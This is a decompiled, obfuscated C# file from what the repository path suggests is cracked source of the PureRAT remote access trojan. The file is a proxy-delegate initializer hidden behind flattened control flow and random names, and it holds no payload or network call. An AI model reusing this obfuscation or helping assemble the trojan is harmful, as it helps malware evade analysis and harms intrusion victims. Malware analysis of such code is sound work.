Files
PURErat-crack-scode/decompiled/PanelPlugins/PureHelper.Client/bXRFiPnTmR5sXtSGPkX/cIJh0enyoOjoRu0T6l8.cs
T
2026-08-27 10:56:38 -06:00

196 lines
3.2 KiB
C#

using System;
using System.Reflection;
using XW3iQq2AVWsC9kohc8a;
namespace bXRFiPnTmR5sXtSGPkX;
internal class cIJh0enyoOjoRu0T6l8
{
internal delegate void mf5gPDnEDOYcY5YCOBJ(object o);
internal static object mJdnZWevZX;
internal static object Kg6AaxLXOeNE0ttTcTO;
internal static void nmxkjV2Scg(int typemdt)
{
int num = 8;
FieldInfo fieldInfo = default(FieldInfo);
Type type = default(Type);
MethodInfo method = default(MethodInfo);
FieldInfo[] fields = default(FieldInfo[]);
int num4 = default(int);
while (true)
{
int num2 = num;
while (true)
{
int num3 = num2;
while (true)
{
switch (num3)
{
default:
if (num2 != 16)
{
if (num2 == 997)
{
goto end_IL_0003;
}
goto case 2;
}
fieldInfo.SetValue(null, (MulticastDelegate)Delegate.CreateDelegate(type, method));
num3 = 1;
if (iFuGIULh8Xj13YBrryd())
{
num3 = 5;
}
continue;
case 7:
fields = type.GetFields();
num3 = 2;
if (dIWtKZLGyPYQRg7k7hr() == null)
{
num3 = 0;
}
continue;
case 3:
return;
case 1:
case 4:
if (num4 >= fields.Length)
{
return;
}
num = 9;
break;
case 2:
case 9:
fieldInfo = fields[num4];
num = 6;
break;
case 6:
method = (MethodInfo)((Module)mJdnZWevZX).ResolveMethod(fieldInfo.MetadataToken + 100663296);
num = 16;
if (!iFuGIULh8Xj13YBrryd())
{
num = 9;
}
break;
case 0:
num4 = 0;
num3 = 1;
if (dIWtKZLGyPYQRg7k7hr() != null)
{
num3 = 15;
}
continue;
case 8:
type = ((Module)mJdnZWevZX).ResolveType(33554432 + typemdt);
num3 = 13;
if (iFuGIULh8Xj13YBrryd())
{
num3 = 7;
}
continue;
case 5:
num4++;
num3 = 4;
if (!iFuGIULh8Xj13YBrryd())
{
num3 = 12;
}
continue;
}
goto end_IL_0002;
continue;
end_IL_0003:
break;
}
continue;
end_IL_0002:
break;
}
}
}
public cIJh0enyoOjoRu0T6l8()
{
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
base._002Ector();
int num = 0;
if (false)
{
num = 1;
}
int num2 = default(int);
while (true)
{
switch (num)
{
case 0:
return;
}
if (num2 == 988)
{
num = num2;
continue;
}
return;
}
}
static cIJh0enyoOjoRu0T6l8()
{
int num = 1;
while (true)
{
int num2 = num;
while (true)
{
switch (num2)
{
default:
goto IL_0014;
case 1:
NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq();
num2 = 2;
if (0 == 0)
{
num2 = 0;
}
continue;
case 0:
break;
case 2:
return;
}
goto IL_002e;
IL_0014:
if (num == 990)
{
break;
}
goto IL_002e;
IL_002e:
mJdnZWevZX = typeof(cIJh0enyoOjoRu0T6l8).Assembly.ManifestModule;
num2 = 3;
if (0 == 0)
{
num2 = 2;
}
}
}
}
internal static bool iFuGIULh8Xj13YBrryd()
{
return Kg6AaxLXOeNE0ttTcTO == null;
}
internal static cIJh0enyoOjoRu0T6l8 dIWtKZLGyPYQRg7k7hr()
{
return (cIJh0enyoOjoRu0T6l8)Kg6AaxLXOeNE0ttTcTO;
}
}